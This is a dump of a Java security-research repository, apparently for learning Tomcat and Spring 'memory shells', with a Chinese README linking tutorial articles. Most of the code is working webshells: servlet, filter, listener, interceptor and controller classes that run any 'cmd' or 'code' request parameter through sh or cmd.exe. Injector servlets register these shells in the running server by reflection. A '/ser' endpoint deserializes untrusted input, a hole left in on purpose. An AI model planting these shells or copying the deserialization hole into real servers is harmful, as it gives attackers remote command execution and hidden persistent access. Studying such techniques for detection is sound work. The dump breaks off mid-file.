├── img ├── filter.png └── servlet.png ├── agent ├── libs │ ├── GenericAgentTools.jar │ └── javassist-3.23.1-GA.jar └── src │ ├── META-INF │ └── MANIFEST.MF │ └── com │ └── demo │ └── agent │ ├── DefineTransformer.java │ └── Main.java ├── lib └── java-object-searcher-0.1.0.jar ├── src └── main │ ├── webapp │ └── WEB-INF │ │ ├── index.jsp │ │ └── web.xml │ ├── java │ └── cn │ │ └── safe6 │ │ ├── servlet │ │ ├── TestServlet.java │ │ ├── TestServlet1.java │ │ ├── ServletShell.java │ │ └── ServletShell1.java │ │ ├── action │ │ ├── Test.java │ │ ├── AddShellListener.java │ │ ├── AddShellServlet.java │ │ ├── AddShellServlet1.java │ │ ├── AddShellWeblogicFilter.java │ │ └── AddShellFilter.java │ │ ├── controller │ │ ├── interceptor │ │ │ ├── MyInterceptor.java │ │ │ └── ShellInterceptor.java │ │ ├── ShellController.java │ │ └── TestController.java │ │ ├── filter │ │ ├── FilterShell.java │ │ └── MyFilter.java │ │ └── listener │ │ ├── ListenerShell.java │ │ └── TestListener.java │ └── resources │ └── springmvc.xml ├── .gitignore ├── README.md └── pom.xml /img/filter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/img/filter.png -------------------------------------------------------------------------------- /img/servlet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/img/servlet.png -------------------------------------------------------------------------------- /agent/libs/GenericAgentTools.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/agent/libs/GenericAgentTools.jar -------------------------------------------------------------------------------- /agent/libs/javassist-3.23.1-GA.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/agent/libs/javassist-3.23.1-GA.jar -------------------------------------------------------------------------------- /lib/java-object-searcher-0.1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/MemoryShell/HEAD/lib/java-object-searcher-0.1.0.jar -------------------------------------------------------------------------------- /agent/src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.demo.agent.Main 3 | Agent-Class: com.demo.agent.Main 4 | Can-Redefine-Classes: true 5 | Can-Retransform-Classes: true 6 | 7 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/index.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: safe6sec 4 | Date: 2022/3/28 5 | Time: 11:18 上午 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | 10 | 11 | Title 12 | 13 | 14 | 15 | hello world! 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | 3 | *.iml 4 | 5 | target 6 | 7 | # Compiled class file 8 | *.class 9 | 10 | # Log file 11 | *.log 12 | 13 | # BlueJ files 14 | *.ctxt 15 | 16 | # Mobile Tools for Java (J2ME) 17 | .mtj.tmp/ 18 | 19 | # Package Files # 20 | #*.jar 21 | *.war 22 | *.nar 23 | *.ear 24 | *.zip 25 | *.tar.gz 26 | *.rar 27 | 28 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 29 | hs_err_pid* 30 | 31 | .DS_Store -------------------------------------------------------------------------------- /src/main/java/cn/safe6/servlet/TestServlet.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.servlet; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.annotation.WebServlet; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | 10 | @WebServlet("/test") 11 | public class TestServlet extends HttpServlet { 12 | 13 | @Override 14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 15 | 16 | //super.doGet(req, resp); 17 | resp.getWriter().write("test"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /agent/src/com/demo/agent/DefineTransformer.java: -------------------------------------------------------------------------------- 1 | package com.demo.agent; 2 | 3 | import java.lang.instrument.ClassFileTransformer; 4 | import java.lang.instrument.IllegalClassFormatException; 5 | import java.security.ProtectionDomain; 6 | 7 | public class DefineTransformer implements ClassFileTransformer { 8 | 9 | 10 | @Override 11 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 12 | 13 | //有类加载就会触发 14 | //需注册inst.addTransformer(new DefineTransformer(),true); 15 | //System.out.println(className); 16 | System.out.println(11111); 17 | System.out.println("transform"); 18 | String cn = "org.apache.catalina.core.ApplicationFilterChain"; 19 | if (className.equals(cn)){ 20 | System.out.println(cn); 21 | } 22 | 23 | 24 | return classfileBuffer; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/Test.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.ServletInputStream; 5 | import javax.servlet.annotation.WebServlet; 6 | import javax.servlet.http.HttpServlet; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import java.io.IOException; 10 | import java.io.ObjectInputStream; 11 | 12 | /** 13 | * 14 | * 反序列化测试 15 | */ 16 | @WebServlet("/ser") 17 | public class Test extends HttpServlet { 18 | 19 | 20 | @Override 21 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 22 | ServletInputStream inputStream = req.getInputStream(); 23 | 24 | if (inputStream!=null){ 25 | try { 26 | ObjectInputStream obs = new ObjectInputStream(inputStream); 27 | Object o = obs.readObject(); 28 | o.toString(); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/servlet/TestServlet1.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.servlet; 2 | 3 | import org.springframework.web.context.ContextLoader; 4 | import org.springframework.web.context.WebApplicationContext; 5 | import org.springframework.web.context.request.RequestContextHolder; 6 | import org.springframework.web.context.request.ServletRequestAttributes; 7 | import org.springframework.web.context.support.WebApplicationContextUtils; 8 | import org.springframework.web.servlet.support.RequestContextUtils; 9 | 10 | import javax.servlet.ServletException; 11 | import javax.servlet.annotation.WebServlet; 12 | import javax.servlet.http.HttpServlet; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.io.IOException; 16 | 17 | 18 | /** 19 | * 各种方式获取上下文对象 20 | */ 21 | @WebServlet("/test1") 22 | public class TestServlet1 extends HttpServlet { 23 | 24 | @Override 25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 26 | 27 | 28 | 29 | 30 | 31 | resp.getWriter().write("test"); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/controller/interceptor/MyInterceptor.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.controller.interceptor; 2 | 3 | import org.springframework.web.servlet.HandlerInterceptor; 4 | import org.springframework.web.servlet.ModelAndView; 5 | 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | 9 | public class MyInterceptor implements HandlerInterceptor { 10 | 11 | public boolean preHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o) 12 | throws Exception { 13 | System.out.println("CustomInterceptor....preHandle"); 14 | //对浏览器的请求进行放行处理 15 | return true; 16 | } 17 | 18 | public void postHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, ModelAndView modelAndView) 19 | throws Exception { 20 | System.out.println("CustomInterceptor....postHandle"); 21 | } 22 | 23 | public void afterCompletion(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e) 24 | throws Exception { 25 | System.out.println("CustomInterceptor....afterCompletion"); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | Archetype Created Web Application 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | springmvc 18 | org.springframework.web.servlet.DispatcherServlet 19 | 20 | contextConfigLocation 21 | classpath:springmvc.xml 22 | 23 | 1 24 | 25 | 26 | 27 | springmvc 28 | / 29 | 30 | 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MemoryShell 2 | 内存马学习,持续更新。 3 | 4 | 5 | # 目录 6 | 7 | ## 文章 8 | - [java内存马分析(一) 环境搭建](https://mp.weixin.qq.com/s/4Bz6UQzC6SEnjSPC4W5fyQ) 9 | - [java内存马分析(二) Servlet内存马](https://mp.weixin.qq.com/s/VLc5TmTAuCttS_DhUSdBuw) 10 | - [java内存马分析(三) Filter内存马](https://mp.weixin.qq.com/s/OWH42PojsFGO4fHSsUJhnw) 11 | - [java内存马分析(四) Listener内存马](https://mp.weixin.qq.com/s/wNa8kR1t1KmyhItC_GmGQA) 12 | - [java内存马分析(五) weblogic注入内存马](https://mp.weixin.qq.com/s/2sxsJKwhzxJsYrcEQRZ6Yg) 13 | - [java内存马分析(六) Controller内存马](https://www.freebuf.com/articles/web/327633.html) 14 | - interceptor内存马已完成,文章待更新 15 | - agent内存马已完成,文章待更新 16 | 17 | ## servlet内存马 18 | 原理: 19 | 创建servlet马封装成wrapper,获取StandardContext使用addChild添加内存马,最后配置映射关系。 20 | 详细步骤见代码。 21 | ![](img/servlet.png) 22 | 23 | ## filter内存马 24 | 原理: 25 | 三个关键对象 26 | - filterMaps变量:包含所有过滤器的URL映射关系 27 | - filterDefs变量:包含所有过滤器包括实例内部等变量 28 | - filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理 29 | 30 | 步骤:创建filter马,然后filterDef包装,standardContext利用addFilterDef添加filterDefs,然后配置filterMap映射关系,最后filterDef加到filterConfig 31 | 详细步骤见代码。 32 | ![](img/filter.png) 33 | 34 | ## listener内存马 35 | 原理: 36 | 创建listener马,获取StandardContext使用addApplicationEventListener添加内存马。 37 | 详细步骤见代码。 38 | 39 | # 挖掘思路 40 | - 通过正向添加,然后从分析上下文。找对应存储的变量,分析对象构成。然后结合反射进行动态注册。 41 | - 分析正向添加底层实现原理,然后结合反射实现动态注册。 42 | -------------------------------------------------------------------------------- /src/main/resources/springmvc.xml: -------------------------------------------------------------------------------- 1 | 2 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/servlet/ServletShell.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.servlet; 2 | 3 | import javax.servlet.Servlet; 4 | import javax.servlet.ServletException; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.util.Scanner; 11 | 12 | public class ServletShell extends HttpServlet { 13 | @Override 14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 15 | if (req.getParameter("cmd") != null) { 16 | boolean isLinux = true; 17 | String osTyp = System.getProperty("os.name"); 18 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 19 | isLinux = false; 20 | } 21 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; 22 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 23 | Scanner s = new Scanner(in).useDelimiter("\\A"); 24 | String output = s.hasNext() ? s.next() : ""; 25 | System.out.println(output); 26 | resp.getWriter().write(output); 27 | resp.getWriter().flush(); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/servlet/ServletShell1.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.servlet; 2 | 3 | import javax.servlet.*; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.util.Scanner; 7 | 8 | public class ServletShell1 implements Servlet { 9 | public void init(ServletConfig servletConfig) throws ServletException { 10 | 11 | } 12 | 13 | public ServletConfig getServletConfig() { 14 | return null; 15 | } 16 | 17 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { 18 | if (servletRequest.getParameter("cmd") != null) { 19 | boolean isLinux = true; 20 | String osTyp = System.getProperty("os.name"); 21 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 22 | isLinux = false; 23 | } 24 | String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")}; 25 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 26 | Scanner s = new Scanner(in).useDelimiter("\\A"); 27 | String output = s.hasNext() ? s.next() : ""; 28 | System.out.println(output); 29 | servletResponse.getWriter().write(output); 30 | servletResponse.getWriter().flush(); 31 | } 32 | } 33 | 34 | public String getServletInfo() { 35 | return null; 36 | } 37 | 38 | public void destroy() { 39 | 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/filter/FilterShell.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletResponse; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.util.Scanner; 9 | 10 | public class FilterShell implements Filter { 11 | public void init(FilterConfig filterConfig) throws ServletException { 12 | 13 | } 14 | 15 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 16 | HttpServletRequest req = (HttpServletRequest) request; 17 | HttpServletResponse resp = (HttpServletResponse) response; 18 | if (req.getParameter("cmd2") != null) { 19 | boolean isLinux = true; 20 | String osTyp = System.getProperty("os.name"); 21 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 22 | isLinux = false; 23 | } 24 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd2")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd2")}; 25 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 26 | Scanner s = new Scanner(in).useDelimiter("\\A"); 27 | String output = s.hasNext() ? s.next() : ""; 28 | System.out.println(output); 29 | resp.getWriter().write(output); 30 | resp.getWriter().flush(); 31 | } 32 | chain.doFilter(request, response); 33 | } 34 | 35 | public void destroy() { 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/filter/MyFilter.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.annotation.WebFilter; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.util.Scanner; 10 | 11 | @WebFilter("/*") 12 | public class MyFilter implements Filter { 13 | public void destroy() { 14 | } 15 | 16 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { 17 | HttpServletRequest req = (HttpServletRequest) request; 18 | HttpServletResponse resp = (HttpServletResponse) response; 19 | if (req.getParameter("cmd1") != null) { 20 | boolean isLinux = true; 21 | String osTyp = System.getProperty("os.name"); 22 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 23 | isLinux = false; 24 | } 25 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")}; 26 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 27 | Scanner s = new Scanner(in).useDelimiter("\\A"); 28 | String output = s.hasNext() ? s.next() : ""; 29 | System.out.println(output); 30 | resp.getWriter().write(output); 31 | resp.getWriter().flush(); 32 | } 33 | chain.doFilter(request, response); 34 | } 35 | 36 | public void init(FilterConfig config) throws ServletException { 37 | 38 | } 39 | 40 | } 41 | 42 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/controller/ShellController.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.controller; 2 | 3 | import org.springframework.web.context.request.RequestContextHolder; 4 | import org.springframework.web.context.request.ServletRequestAttributes; 5 | 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.io.PrintWriter; 11 | import java.util.Scanner; 12 | 13 | public class ShellController { 14 | 15 | 16 | 17 | public void exec() { 18 | // 获取request和response对象 19 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 20 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 21 | try { 22 | String arg0 = request.getParameter("code"); 23 | PrintWriter writer = response.getWriter(); 24 | if (arg0 != null) { 25 | String o = ""; 26 | java.lang.ProcessBuilder p; 27 | if(System.getProperty("os.name").toLowerCase().contains("win")){ 28 | p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); 29 | }else{ 30 | p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); 31 | } 32 | java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); 33 | o = c.hasNext() ? c.next(): o; 34 | c.close(); 35 | writer.write(o); 36 | writer.flush(); 37 | writer.close(); 38 | }else{ 39 | response.sendError(404); 40 | } 41 | }catch (Exception e){ 42 | } 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/AddShellListener.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import cn.safe6.listener.ListenerShell; 4 | import org.apache.catalina.core.ApplicationContext; 5 | import org.apache.catalina.core.StandardContext; 6 | 7 | import javax.servlet.ServletContext; 8 | import javax.servlet.ServletException; 9 | import javax.servlet.annotation.WebServlet; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.IOException; 14 | import java.lang.reflect.Field; 15 | 16 | /** 17 | * Listener内存马添加 18 | */ 19 | @WebServlet("/add3") 20 | public class AddShellListener extends HttpServlet { 21 | 22 | @Override 23 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 24 | 25 | try { 26 | //先拿到ServletContext 27 | ServletContext servletContext = req.getServletContext(); 28 | Field appctx =servletContext.getClass().getDeclaredField("context"); 29 | appctx.setAccessible(true); 30 | 31 | //从ServletContext里面拿到ApplicationContext 32 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 33 | Field atx= applicationContext.getClass().getDeclaredField("context"); 34 | atx.setAccessible(true); 35 | //从ApplicationContext里面拿到StandardContext 36 | StandardContext standardContext = (StandardContext) atx.get(applicationContext); 37 | 38 | //准备listener马 39 | ListenerShell listenerShell = new ListenerShell(); 40 | //添加到上下文 41 | standardContext.addApplicationEventListener(listenerShell); 42 | 43 | 44 | resp.getWriter().write("add success!"); 45 | return; 46 | 47 | } catch (Exception e) { 48 | e.printStackTrace(); 49 | } 50 | resp.getWriter().write("add failed!"); 51 | 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/listener/ListenerShell.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.listener; 2 | 3 | import org.apache.catalina.connector.Request; 4 | import org.apache.catalina.connector.RequestFacade; 5 | import org.apache.catalina.connector.Response; 6 | 7 | import javax.servlet.ServletRequestEvent; 8 | import javax.servlet.ServletRequestListener; 9 | import java.io.InputStream; 10 | import java.lang.reflect.Field; 11 | import java.util.Scanner; 12 | 13 | public class ListenerShell implements ServletRequestListener { 14 | public void requestDestroyed(ServletRequestEvent sre) { 15 | 16 | } 17 | 18 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 19 | try { 20 | //从上下文拿request和response 21 | RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest(); 22 | Field requestField= req.getClass().getDeclaredField("request"); 23 | requestField.setAccessible(true); 24 | Request request = (Request) requestField.get(req); 25 | Response resp = request.getResponse(); 26 | 27 | if (req.getParameter("cmd1") != null) { 28 | boolean isLinux = true; 29 | String osTyp = System.getProperty("os.name"); 30 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 31 | isLinux = false; 32 | } 33 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")}; 34 | InputStream in = null; 35 | in = Runtime.getRuntime().exec(cmds).getInputStream(); 36 | Scanner s = new Scanner(in).useDelimiter("\\A"); 37 | String output = s.hasNext() ? s.next() : ""; 38 | System.out.println(output); 39 | resp.getWriter().write(output); 40 | resp.getWriter().flush(); 41 | 42 | } 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/listener/TestListener.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.listener; 2 | 3 | import org.apache.catalina.connector.Request; 4 | import org.apache.catalina.connector.RequestFacade; 5 | import org.apache.catalina.connector.Response; 6 | 7 | import javax.servlet.ServletRequestEvent; 8 | import javax.servlet.ServletRequestListener; 9 | import javax.servlet.annotation.WebListener; 10 | import java.io.InputStream; 11 | import java.lang.reflect.Field; 12 | import java.util.Scanner; 13 | 14 | @WebListener 15 | public class TestListener implements ServletRequestListener { 16 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 17 | 18 | } 19 | 20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 21 | try { 22 | //从上下文拿request和response 23 | RequestFacade req = (RequestFacade) servletRequestEvent.getServletRequest(); 24 | Field requestField= req.getClass().getDeclaredField("request"); 25 | requestField.setAccessible(true); 26 | Request request = (Request) requestField.get(req); 27 | Response resp = request.getResponse(); 28 | 29 | if (req.getParameter("cmd1") != null) { 30 | boolean isLinux = true; 31 | String osTyp = System.getProperty("os.name"); 32 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 33 | isLinux = false; 34 | } 35 | String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd1")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd1")}; 36 | InputStream in = null; 37 | in = Runtime.getRuntime().exec(cmds).getInputStream(); 38 | Scanner s = new Scanner(in).useDelimiter("\\A"); 39 | String output = s.hasNext() ? s.next() : ""; 40 | System.out.println(output); 41 | resp.getWriter().write(output); 42 | resp.getWriter().flush(); 43 | 44 | } 45 | } catch (Exception e) { 46 | e.printStackTrace(); 47 | } 48 | 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/AddShellServlet.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import cn.safe6.servlet.ServletShell1; 4 | import org.apache.catalina.Wrapper; 5 | import org.apache.catalina.core.ApplicationContext; 6 | import org.apache.catalina.core.StandardContext; 7 | import org.apache.catalina.core.StandardWrapper; 8 | import javax.servlet.ServletContext; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.annotation.WebServlet; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.reflect.Field; 16 | 17 | /** 18 | * 19 | * ShellServlet添加 20 | */ 21 | @WebServlet("/add") 22 | public class AddShellServlet extends HttpServlet { 23 | 24 | @Override 25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 26 | 27 | try { 28 | //先拿到ServletContext 29 | ServletContext servletContext = req.getServletContext(); 30 | Field appctx =servletContext.getClass().getDeclaredField("context"); 31 | appctx.setAccessible(true); 32 | 33 | //从ServletContext里面拿到ApplicationContext 34 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 35 | Field atx= applicationContext.getClass().getDeclaredField("context"); 36 | atx.setAccessible(true); 37 | //从ApplicationContext里面拿到StandardContext 38 | StandardContext standardContext = (StandardContext) atx.get(applicationContext); 39 | 40 | //准备内存马 41 | //ServletShell shell = new ServletShell(); 42 | ServletShell1 shell = new ServletShell1(); 43 | 44 | //用wrapper包装内存马 45 | Wrapper wrapper = new StandardWrapper(); 46 | wrapper.setServlet(shell); 47 | wrapper.setName("shell"); 48 | //设置加载顺序 49 | //wrapper.setLoadOnStartup(1); 50 | //设置servlet全限定名,可以不设置 51 | wrapper.setServletClass(shell.getClass().getName()); 52 | 53 | //添加到标准上下文 54 | standardContext.addChild(wrapper); 55 | 56 | //添加映射关系 57 | standardContext.addServletMappingDecoded("/shell","shell"); 58 | 59 | resp.getWriter().write("add success!"); 60 | return; 61 | } catch (Exception e) { 62 | e.printStackTrace(); 63 | } 64 | resp.getWriter().write("add failed!"); 65 | 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/controller/interceptor/ShellInterceptor.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.controller.interceptor; 2 | 3 | import org.springframework.web.context.request.RequestContextHolder; 4 | import org.springframework.web.context.request.ServletRequestAttributes; 5 | import org.springframework.web.servlet.HandlerInterceptor; 6 | import org.springframework.web.servlet.ModelAndView; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.InputStream; 11 | import java.util.Scanner; 12 | 13 | public class ShellInterceptor implements HandlerInterceptor { 14 | 15 | public boolean preHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o) 16 | throws Exception { 17 | System.out.println("CustomInterceptor....preHandle"); 18 | // 获取request和response对象 19 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 20 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 21 | if (request.getParameter("cmd") != null) { 22 | boolean isLinux = true; 23 | String osTyp = System.getProperty("os.name"); 24 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 25 | isLinux = false; 26 | } 27 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 28 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 29 | Scanner s = new Scanner(in).useDelimiter("\\A"); 30 | String output = s.hasNext() ? s.next() : ""; 31 | System.out.println(output); 32 | response.getWriter().write(output); 33 | response.getWriter().flush(); 34 | //Exception e=new Exception(output); 35 | //throw e; 36 | } 37 | return true; 38 | } 39 | 40 | public void postHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, ModelAndView modelAndView) 41 | throws Exception { 42 | System.out.println("CustomInterceptor....postHandle"); 43 | } 44 | 45 | public void afterCompletion(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e) 46 | throws Exception { 47 | System.out.println("CustomInterceptor....afterCompletion"); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 4.0.0 5 | war 6 | 7 | MemoryShellorg.apache.maven.pluginsmaven-compiler-plugin66 8 | 9 | org.apache.maven.plugins 10 | maven-compiler-plugin 11 | 12 | 5 13 | 5 14 | 15 | 16 | 17 | org.example 18 | MemoryShell 19 | 1.0-SNAPSHOT 20 | 21 | 22 | 23 | 24 | org.springframework 25 | spring-webmvc 26 | 5.2.3.RELEASE 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | junit 48 | junit 49 | 3.8.1 50 | test 51 | 52 | 53 | 54 | javax.servlet 55 | javax.servlet-api 56 | 3.0.1 57 | provided 58 | 59 | 60 | org.apache.tomcat.embed 61 | tomcat-embed-core 62 | 9.0.60 63 | 64 | 65 | org.javassist 66 | javassist 67 | 3.27.0-GA 68 | 69 | 70 | 71 | commons-collections 72 | commons-collections 73 | 3.1 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /src/main/java/cn/safe6/action/AddShellServlet1.java: -------------------------------------------------------------------------------- 1 | package cn.safe6.action; 2 | 3 | import cn.safe6.servlet.ServletShell1; 4 | import org.apache.catalina.Container; 5 | import org.apache.catalina.Wrapper; 6 | import org.apache.catalina.core.ApplicationContext; 7 | import org.apache.catalina.core.StandardContext; 8 | import org.apache.catalina.core.StandardWrapper; 9 | 10 | import javax.servlet.ServletContext; 11 | import javax.servlet.ServletException; 12 | import javax.servlet.annotation.WebServlet; 13 | import javax.servlet.http.HttpServlet; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpServletResponse; 16 | import java.io.IOException; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Modifier; 19 | import java.util.HashMap; 20 | 21 | /** 22 | * Servlet内存马添加,不用standardContext#addChild方法。全部用反射实现 23 | */ 24 | @WebServlet("/add1") 25 | public class AddShellServlet1 extends HttpServlet { 26 | 27 | @Override 28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 29 | 30 | try { 31 | //先拿到ServletContext 32 | ServletContext servletContext = req.getServletContext(); 33 | Field appctx =servletContext.getClass().getDeclaredField("context"); 34 | appctx.setAccessible(true); 35 | 36 | //从ServletContext里面拿到ApplicationContext 37 | ApplicationContext applicationContext = 